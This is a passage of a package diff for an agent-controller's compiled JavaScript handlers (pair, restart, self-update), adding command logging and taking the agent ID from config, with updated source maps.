AAe,GAAG,EAAE,EAAE,KAAK,CAAC,CAAC;QACnD,IAAI,MAAM,CAAC,MAAM,GAAG,UAAU,EAAE,CAAC;YAC/B,YAAY,EAAE,IAAI,CAChB,sBAAsB,EACtB,OAAO,EACP,QAAQ,GAAG,YAAY,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,EAAE,KAAK,EAAE,EACzD;gBACE,SAAS,EAAE,OAAO,CAAC,EAAE;gBACrB,OAAO,EAAE,KAAK;gBACd,OAAO,EAAE,GAAG;aACb,CACF,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CACH,CAAC;IAEF,YAAY,EAAE,IAAI,CAChB,iBAAiB,EACjB,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,EAC/B,uBAAuB,SAAS,CAAC,GAAG,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,MAAM,aAAa,MAAM,CAAC,MAAM,EAAE,EACrH,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,CAAC,MAAM,EAAE,CACzC,CAAC;IAEF,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,iBAAiB;QACvB,OAAO,EAAE,MAAM,CAAC,MAAM,KAAK,CAAC;QAC5B,IAAI,EAAE,EAAE,SAAS,EAAE,MAAM,EAAE;KAC5B,CAAC;AACJ,CAAC"}
|
package/dist/handlers/pair.js
CHANGED
|
@@ -1,10 +1,18 @@
|
|
|
1
|
+
import { logCollector } from '../connection.js';
|
|
2
|
+
import { config } from '../config.js';
|
|
1
3
|
// STRUCT-3: This handler is intentionally a stub. The backend validates the pairing
|
|
2
4
|
// token server-side; agent-controller only echoes back the identifiers as confirmation.
|
|
3
5
|
// No local pairing operation is performed here.
|
|
4
6
|
export function handlePair(command) {
|
|
7
|
+
const startMs = Date.now();
|
|
8
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
9
|
+
commandId: command.id,
|
|
10
|
+
});
|
|
5
11
|
const pairToken = command.payload.token;
|
|
6
12
|
const targetId = command.payload.targetId;
|
|
7
13
|
if (!pairToken || !targetId) {
|
|
14
|
+
const durationMs = Date.now() - startMs;
|
|
15
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Missing "token" or "targetId" in payload`, { commandId: command.id, durationMs });
|
|
8
16
|
return Promise.resolve({
|
|
9
17
|
id: command.id,
|
|
10
18
|
type: 'pair',
|
|
@@ -12,6 +20,11 @@ export function handlePair(command) {
|
|
|
12
20
|
error: 'Missing "token" or "targetId" in payload',
|
|
13
21
|
});
|
|
14
22
|
}
|
|
23
|
+
const durationMs = Date.now() - startMs;
|
|
24
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
25
|
+
commandId: command.id,
|
|
26
|
+
durationMs,
|
|
27
|
+
});
|
|
15
28
|
return Promise.resolve({
|
|
16
29
|
id: command.id,
|
|
17
30
|
type: 'pair',
|
|
@@ -19,7 +32,7 @@ export function handlePair(command) {
|
|
|
19
32
|
data: {
|
|
20
33
|
paired: true,
|
|
21
34
|
targetId,
|
|
22
|
-
agentId:
|
|
35
|
+
agentId: config.agentId,
|
|
23
36
|
},
|
|
24
37
|
});
|
|
25
38
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"pair.js","sourceRoot":"","sources":["../../src/handlers/pair.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"pair.js","sourceRoot":"","sources":["../../src/handlers/pair.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAEtC,oFAAoF;AACpF,wFAAwF;AACxF,gDAAgD;AAChD,MAAM,UAAU,UAAU,CAAC,OAAqB;IAC9C,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,SAAS,GAAG,OAAO,CAAC,OAAO,CAAC,KAAe,CAAC;IAClD,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,QAAkB,CAAC;IAEpD,IAAI,CAAC,SAAS,IAAI,CAAC,QAAQ,EAAE,CAAC;QAC5B,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,mDAAmD,EAClE,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO,OAAO,CAAC,OAAO,CAAC;YACrB,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,MAAM;YACZ,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,0CAA0C;SAClD,CAAC,CAAC;IACL,CAAC;IAED,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO,OAAO,CAAC,OAAO,CAAC;QACrB,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,MAAM;QACZ,OAAO,EAAE,IAAI;QACb,IAAI,EAAE;YACJ,MAAM,EAAE,IAAI;YACZ,QAAQ;YACR,OAAO,EAAE,MAAM,CAAC,OAAO;SACxB;KACF,CAAC,CAAC;AACL,CAAC"}
|
package/dist/handlers/restart.js
CHANGED
|
@@ -1,7 +1,9 @@
|
|
|
1
1
|
import { handleGatewayRestartCommand } from '../utils/gateway-restart-handler.js';
|
|
2
2
|
import { logCollector } from '../connection.js';
|
|
3
3
|
export async function handleRestart(command) {
|
|
4
|
-
logCollector?.push('gateway_restart', 'info', 'Gateway restart requested', {
|
|
4
|
+
logCollector?.push('gateway_restart', 'info', 'Gateway restart requested', {
|
|
5
|
+
commandId: command.id,
|
|
6
|
+
});
|
|
5
7
|
return handleGatewayRestartCommand(command);
|
|
6
8
|
}
|
|
7
9
|
//# sourceMappingURL=restart.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"restart.js","sourceRoot":"","sources":["../../src/handlers/restart.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,aAAa,CAAC,OAAqB;IACvD,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,MAAM,EAAE,2BAA2B,EAAE,
|
|
1
|
+
{"version":3,"file":"restart.js","sourceRoot":"","sources":["../../src/handlers/restart.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,aAAa,CAAC,OAAqB;IACvD,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,MAAM,EAAE,2BAA2B,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,OAAO,2BAA2B,CAAC,OAAO,CAAC,CAAC;AAC9C,CAAC"}
|
|
@@ -4,7 +4,9 @@ import { logCollector } from '../connection.js';
|
|
|
4
4
|
export function handleSelfUpdate(version) {
|
|
5
5
|
return async (cmd) => {
|
|
6
6
|
try {
|
|
7
|
-
logCollector?.push('self_update', 'info', `Self-update requested (current: ${version})`, {
|
|
7
|
+
logCollector?.push('self_update', 'info', `Self-update requested (current: ${version})`, {
|
|
8
|
+
currentVersion: version,
|
|
9
|
+
});
|
|
8
10
|
await selfUpdate(version);
|
|
9
11
|
return { id: cmd.id, type: cmd.type, success: true, data: {} };
|
|
10
12
|
}
|